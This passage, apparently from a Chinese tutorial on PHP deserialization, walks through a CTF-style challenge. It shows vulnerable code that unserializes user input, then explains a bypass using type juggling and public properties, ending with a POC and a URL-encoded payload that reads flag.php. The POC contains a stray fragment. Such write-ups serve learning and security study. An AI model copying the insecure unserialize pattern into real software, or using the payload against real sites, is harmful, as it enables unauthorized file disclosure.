if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
看著很多,其實沒什么東西,
關鍵要利用到這里
大致看了write函數或者read函數,都可以嘗試利用得到flag
但是__destruct()方法 $this->content = "";會把content值為空,我們沒有辦法去利用這個write函數,所以看看read函數
__destruct()方法里有一個強類型比較,$this->op === "2",如果我們把op=2;不加引號,那么為int類型,則$this->op === "2"為false,這樣在process()方法里,就會調用read方法
接著就是繞過 is_valid函數 ,由于有protected屬性,會有不可打印字符,而不可打印字符被
is_valid函數限制住了,所以需要繞過,那么在php7.1版本以上可以直接修改屬性
因為php7.1以上的版本對屬性類型不敏感,所以可以將屬性改為public,public屬性序列化不會出現不可見字符
POC如下
<?php
class FileHandler {
public $op=2;
public $filename="flag.php";
public $content="111";
pr
}
$a = new FileHandler();
echo urlencode(serialize($a));
?>
payload ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A3%3A%22111%22%3B%7D
讀到這里,這篇“PHP反序列化入門代碼實例分析”文章已經介紹完畢,想要掌握這篇文章的知識點還需要大家自己動手實踐使用過才能領會,如果想了解更多相關內容的文章,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。